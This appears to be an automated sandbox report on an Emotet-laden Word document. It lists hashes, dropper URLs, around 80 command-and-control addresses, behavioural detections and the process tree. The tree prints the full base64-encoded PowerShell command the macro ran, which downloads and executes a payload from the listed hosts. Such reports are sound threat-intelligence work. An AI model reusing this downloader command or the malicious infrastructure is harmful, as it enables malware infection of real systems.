emotet | b7294a864de05ae57bbfb41d555203d9e0e7073587f2a8c7a062bfb5644bc2e7

General

Target
emotet_e2_b7294a864de05ae57bbfb41d555203d9e0e7073587f2a8c7a062bfb5644bc2e7_2020-08-17__125140._doc.doc
Size 229KB
Sample200817-c6191plsj2
SHA256 b7294a864de05ae57bbfb41d555203d9e0e7073587f2a8c7a062bfb5644bc2e7
MD5 83286b73564eea3b84564ca4ee4a7f9d
SHA1 b5b0dccadf1940d15744da236eab454333e79a80
SHA512 5e2db63102ca2c643a834fceb0713dbaa98e3c0704ebd9a758691f84fdf6a9e0ee3ebde256808958b3b303842a876e706b0a08e32460e1e403a2f8ffd2bd920e
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://poonamjoshi.com/wp-admin/pihy_fqz6_hadcsffl/
exe.dropper
http://promservice-plast.com/wp-content/ap_j_9lkio2/
exe.dropper
https://loveravista.saigoncitylands.com/wp-includes/t40_ey_5sefbwyrl/
exe.dropper
http://novahills-phanthiet.com/wp-admin/iz34_se_j21i/
exe.dropper
http://www.earthpath.com/EarthPath/tqli_b4_83vy/

Extracted

Family

emotet

C2

68.44.137.144:443
69.30.203.214:8080
67.205.85.243:8080
85.66.181.138:80
74.208.45.104:8080
109.116.214.124:443
95.179.229.244:8080
24.137.76.62:80
95.213.236.64:8080
113.160.130.116:8443
47.146.117.214:80
24.233.112.152:80
87.106.139.101:8080
89.186.91.200:443
91.211.88.52:7080
200.41.121.90:80
107.185.211.16:80
104.131.11.150:443
5.39.91.110:7080
62.138.26.28:8080
139.59.60.244:8080
168.235.67.138:7080
37.139.21.175:8080
174.102.48.180:80
2.58.16.85:7080
157.147.76.151:80
137.59.187.107:8080
103.86.49.11:8080
190.55.181.54:443
83.169.36.251:8080
5.196.74.210:8080
68.188.112.97:80
79.98.24.39:8080
104.236.246.93:8080
104.131.44.150:8080
169.239.182.217:8080
142.105.151.124:443
152.168.248.128:443
85.152.162.105:80
75.139.38.211:80
24.179.13.119:80
47.144.21.12:443
74.120.55.163:80
70.167.215.250:8080
190.160.53.126:80
78.24.219.147:8080
183.101.175.193:80
189.212.199.126:443
180.92.239.110:8080
157.245.99.39:8080
110.145.77.103:80
181.211.11.242:80
85.105.205.77:8080
41.60.200.34:80
139.130.242.43:80
37.70.8.161:80
199.101.86.142:8080
188.83.220.2:443
167.86.90.214:8080
81.2.235.111:8080
46.105.131.79:8080
185.94.252.104:443
87.106.136.232:8080
201.173.217.124:443
209.141.54.221:8080
222.214.218.37:4143
203.153.216.189:7080
203.117.253.142:80
72.12.127.184:443
24.43.99.75:80
61.19.246.238:443
204.197.146.48:80
62.75.141.82:80
116.203.32.252:8080
121.124.124.40:7080
176.111.60.55:8080
93.51.50.171:8080
97.82.79.83:80
109.74.5.95:8080
173.62.217.22:443
181.230.116.163:80
37.187.72.193:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2892	392	powersheLL.exe	67

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/3816-13-0x00000000021A0000-0x00000000021AC000-memory.dmp	emotet
behavioral2/memory/3816-13-0x00000000021A0000-0x00000000021AC000-memory.dmp	emotet
behavioral2/memory/3340-16-0x0000000002180000-0x000000000218C000-memory.dmp	emotet
behavioral2/memory/3340-16-0x0000000002180000-0x000000000218C000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
15	2892	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
3816	Prmi.exe
3340	srmlib.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\LicenseManager\srmlib.exe	Prmi.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3056	WINWORD.EXE
3056	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
2892	powersheLL.exe
2892	powersheLL.exe
2892	powersheLL.exe
3340	srmlib.exe
3340	srmlib.exe
3340	srmlib.exe
3340	srmlib.exe
3340	srmlib.exe
3340	srmlib.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2892	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3056	WINWORD.EXE
3056	WINWORD.EXE
3056	WINWORD.EXE
3056	WINWORD.EXE
3056	WINWORD.EXE
3056	WINWORD.EXE
3056	WINWORD.EXE
3056	WINWORD.EXE
3056	WINWORD.EXE
3816	Prmi.exe
3816	Prmi.exe
3340	srmlib.exe
3340	srmlib.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2892 wrote to memory of 3816	2892	powersheLL.exe	72
PID 2892 wrote to memory of 3816	2892	powersheLL.exe	72
PID 2892 wrote to memory of 3816	2892	powersheLL.exe	72
PID 3816 wrote to memory of 3340	3816	Prmi.exe	76
PID 3816 wrote to memory of 3340	3816	Prmi.exe	76
PID 3816 wrote to memory of 3340	3816	Prmi.exe	76

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_b7294a864de05ae57bbfb41d555203d9e0e7073587f2a8c7a062bfb5644bc2e7_2020-08-17__125140._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3056

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABUAHIAZQBnAGYAeQAxAD0AJwBOAHgAegBzAGsAZgBlACcAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBDAFUAcgBpAFQAYAB5AFAAUgBgAG8AdABvAGMAYABvAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABIAHEAZgBxADkAZABxACAAPQAgACcAUAByAG0AaQAnADsAJABSADIAZwBvAHAAeQA4AD0AJwBOADkAdgBvAG8AcgB5ACcAOwAkAFYANAAxAG4ANgBtAG0APQAkAGUAbgB2ADoAdABlAG0AcAArACcAXAAnACsAJABIAHEAZgBxADkAZABxACsAJwAuAGUAeABlACcAOwAkAEsAYgBuAGYAYwBfADYAPQAnAFIANgBxAGYAbAB1ADMAJwA7ACQAQwA4AF8AZQAwAHAAZAA9ACYAKAAnAG4AJwArACcAZQB3AC0AbwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBFAFQALgBXAEUAQgBDAGwAaQBFAE4AVAA7ACQAUwAzAG8AaAA0AHoAbgA9ACcAaAB0AHQAcAA6AC8ALwBwAG8AbwBuAGEAbQBqAG8AcwBoAGkALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAHAAaQBoAHkAXwBmAHEAegA2AF8AaABhAGQAYwBzAGYAZgBsAC8AKgBoAHQAdABwADoALwAvAHAAcgBvAG0AcwBlAHIAdgBpAGMAZQAtAHAAbABhAHMAdAAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAGEAcABfAGoAXwA5AGwAawBpAG8AMgAvACoAaAB0AHQAcABzADoALwAvAGwAbwB2AGUAcgBhAHYAaQBzAHQAYQAuAHMAYQBpAGcAbwBuAGMAaQB0AHkAbABhAG4AZABzAC4AYwBvAG0ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwB0ADQAMABfAGUAeQBfADUAcwBlAGYAYgB3AHkAcgBsAC8AKgBoAHQAdABwADoALwAvAG4AbwB2AGEAaABpAGwAbABzAC0AcABoAGEAbgB0AGgAaQBlAHQALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAGkAegAzADQAXwBzAGUAXwBqADIAMQBpAC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AZQBhAHIAdABoAHAAYQB0AGgALgBjAG8AbQAvAEUAYQByAHQAaABQAGEAdABoAC8AdABxAGwAaQBfAGIANABfADgAMwB2AHkALwAnAC4AIgBTAGAAUABsAGkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFQAagA3AGEAawAyADMAPQAnAFQAbgBoAHYAYgBrAGQAJwA7AGYAbwByAGUAYQBjAGgAKAAkAE0ANQBiAHAANQB0AGkAIABpAG4AIAAkAFMAMwBvAGgANAB6AG4AKQB7AHQAcgB5AHsAJABDADgAXwBlADAAcABkAC4AIgBkAG8AdwBgAE4AYABsAGAAbwBBAEQARgBpAGwARQAiACgAJABNADUAYgBwADUAdABpACwAIAAkAFYANAAxAG4ANgBtAG0AKQA7ACQATQAzAGgAeABlAGcAZQA9ACcAVwAwADEAdQBoADMAYgAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQAnACsAJwB0AGUAJwArACcAbQAnACkAIAAkAFYANAAxAG4ANgBtAG0AKQAuACIAbABFAG4ARwBgAFQAaAAiACAALQBnAGUAIAAzADkAMwA3ADkAKQAgAHsAJgAoACcASQBuAHYAJwArACcAbwBrAGUALQBJAHQAJwArACcAZQAnACsAJwBtACcAKQAoACQAVgA0ADEAbgA2AG0AbQApADsAJABEAHgAZgB3AHgAYwB4AD0AJwBXAHAAMQAzAGsAaABvACcAOwBiAHIAZQBhAGsAOwAkAFEAeQB1AG4AZgBsAHcAPQAnAEUAZgBtAGEAaQBrAF8AJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARwBwADgAeAAwAGgANgA9ACcATwBuAGoAMgBvADgAdwAnAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2892
- C:\Users\Admin\AppData\Local\Temp\Prmi.exe
  "C:\Users\Admin\AppData\Local\Temp\Prmi.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3816
- - C:\Windows\SysWOW64\LicenseManager\srmlib.exe
    "C:\Windows\SysWOW64\LicenseManager\srmlib.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:3340

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2892-8-0x000001B79D340000-0x000001B79D341000-memory.dmp

Download

memory/2892-7-0x00007FFFD9490000-0x00007FFFD9E7C000-memory.dmp

Download

memory/2892-9-0x000001B79D560000-0x000001B79D561000-memory.dmp

Download

memory/3056-4-0x00000287C7AE7000-0x00000287C7B28000-memory.dmp

Download

memory/3056-0-0x00007FFFE13A0000-0x00007FFFE1A66000-memory.dmp

Download

memory/3056-3-0x00000287BFE8C000-0x00000287BFE95000-memory.dmp

Download

memory/3056-2-0x00000287BFE8C000-0x00000287BFE95000-memory.dmp

Download

memory/3056-1-0x00000287BFE8C000-0x00000287BFE95000-memory.dmp

Download

memory/3340-16-0x0000000002180000-0x000000000218C000-memory.dmp

Download

memory/3816-13-0x00000000021A0000-0x00000000021AC000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads